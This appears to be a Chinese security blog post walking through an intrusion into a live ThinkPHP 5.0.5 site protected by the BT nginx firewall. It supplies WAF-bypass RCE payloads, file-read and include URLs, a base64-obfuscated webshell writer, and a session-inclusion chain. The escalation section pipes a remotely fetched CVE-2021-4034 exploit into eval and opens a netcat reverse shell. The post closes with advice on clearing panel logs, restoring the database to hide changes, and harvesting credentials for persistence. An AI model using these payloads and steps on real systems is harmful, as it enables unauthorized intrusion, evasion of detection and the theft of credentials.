记一次ThinkPHP V5.0.5 RCE Bypass 宝塔nginx防火墙

最近无聊 更新一下 以前的货

主要是绕过 宝塔nginx防火墙

宝塔防火墙还是很厉害的 有几个点突破不了 比如上传

ThinkPHP是PHP的一套框架 国内用的挺多 也挺好使 开发比较方便 迅速

就是这一套东西 漏洞挺多 不过还好 给了我们一口饭吃

最新版本 就没那么容易整了 在配上 waf rasp 难整

一些漏洞分析 可以看看这个

https://github.com/Mochazz/ThinkPHP-Vuln

现成的工具

https://github.com/Lotus6/ThinkphpGUI

https://github.com/Lucifer1993/TPscan

https://github.com/bewhale/thinkphp_gui_tools

github上随便翻翻也挺多

正题

一个阳光明媚的晚上 发现了一个站

通过app_debug的报错信息发现是 ThinkPHP V5.0.5的站

暴露了不少信息 绝对目录 runtime目录之类的

Linux 宝塔 默认网站路径一般是 /www/wwwroot/

/home/wwwroot/ 这个比较少

刚开始想就是直接RCE 直接干

然后就碰到宝塔的nginx防火墙 还是很强力的

大概试了一下 拦截了

__construct

invokefunction

call_user_func_array

index/\think\request/input

index/\think\Config/load

index/\think\view\driver\Php/display

index/\think\template\driver\file/write

../ 两次也会拦截

这些直接能getshell的利用点 全拦截了 直接找其他突破口

0=error_reporting&1=phpinfo&_method=filter

这个倒是没有被拦 不过看版本和写法 比如我整的这个 就不支持 filter这个方法

POST /index.php?a=PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2MnXSkpOyA/Pg==

0=base64_decode&1=think\Session::set&2=error_reporting&_method=filter

POST /index.php Cookie: POST=session文件名

0=\think\Cookie::get&1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbytgpOw==

POST /index.php?a=C:/phpstudy_pro/Extensions/tmp/tmp/sess_v6mip0bjhb29prtsiv69f12j93

1=think\__include_file&2=error_reporting&_method=filter&c=cGhwaW5mbygpOw==

 

本次利用的点就是 包含session

?s=index/think\Log/getLog

获取 runtime log 目录 发现没开

/application/config.php 也可以在这个文件里面翻到 是否开启

/thinkphp/library/think/Log.php 这里记录了 日志文件命名方式

DS 是/ 也是目录

?s=index/think\config/get&name=database.username # 获取配置信息

?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件

?s=index/think\Error/appError&errno=1&errstr=<&errline=&errfile=./index.php  # 任意文件读取 一次最多读十多行 errline参数控制目前读第多少行

可以包含文件 由此目前的思路就是

包含日志文件

包含上传图片

包含session文件

前两都没戏 这个站

没开记录日志 没上传点

包含session文件 需要一处
可以写入session变量的地方

有源码 可以翻一下 没源码 可以读文件翻 比较麻烦

刚好看界面比较熟悉 就翻到一处

验证一下

可以写入

没源码 可以上github上搜一下
搜索里面的 code 可以搜一下 独特的 js一些函数名 参数名 图片 文件名 之类 或许就有惊喜
剩下的 就是 绕过 宝塔的防火墙了
宝塔防火墙 大部分php函数都会拦截 phpinfo file_put_contents eval 之类 只要 有括号都会拦截
但是php是一门神奇的语言

<?php

$test="phpinfo";

$test();

?>

 

这样纸是可以运行的

$test='p'/*|?&id=|*/.'h'/*|?&id=|*/.'p'/*|?&id=|*/.'i'/*|?&id=|*/.'n'/*|?&id=|*/.'f'/*|?&id=|*/.'o';

echo $test();

甚至在里面穿插注释也是可以 非常奔放自由 由此就能绕过 很多检测机制

宝塔的session文件 基本是 /tmp/sess_ 这种形式

 

<?php

$c="base64_decode";
$a="file_put_contents";
$a($c('L2hvbWUvd3d3cm9vdC94eHh4L3J1bnRpbWUvMS5waHA='),$c("PD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFt0ZXN0XSkpOz8+"));
?>

这种形式 基本就绕过了 把文件名 一句话内容都 base64编码一遍 一句话也要能过宝塔

剩下的就是 写入 session 然后

?s=index/\think\Lang/load&file=/tmp/sess_xxxxxxxxxxxxxxxxxx

包含session 生成了一句话连接 拿下权限

宝塔的linux提权 简单一点就是 用蚁剑的 绕过模块 进行绕过

常用 php-fpm来绕过disable function 执行命令

FPM/FCGI 地址 宝塔一般是 /tmp/php-cgi-74.sock 看PHP版本 73 73 70 56

一般都是可以绕的 绕完 nc反弹个shell 宝塔一般是 centos7

直接 CVE-2021-3156 或者 CVE-2021-4034

github上都有exp 不过我喜欢用 CVE-2021-4034

直接命令行运行

eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"

然后一个id root权限 这两洞修了的话 会比较麻烦 可以弹个msf 扫一下 在研究其他办法和思路

宝塔面板

宝塔默认密码
/www/server/panel/data/default.pl
面板端口
/www/server/panel/data/port.pl
后台地址
/www/server/panel/data/admin_path.pl
宝塔数据库 有账号 操作日志之类
/www/server/panel/data/default.db

登宝塔之前可以 备份一下 default.db 然后操作完直接上传覆盖

然后清理 /www/server/panel/logs

记录一下 phpmyadmin地址 和mysql的root密码

宝塔的计划任务是 root权限

这些都是权限维持之类的了

到此 End

 

 

版权声明:
作者:agsec
链接:https://agsec.xyz/archives/41
来源:AG安全团队博客
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>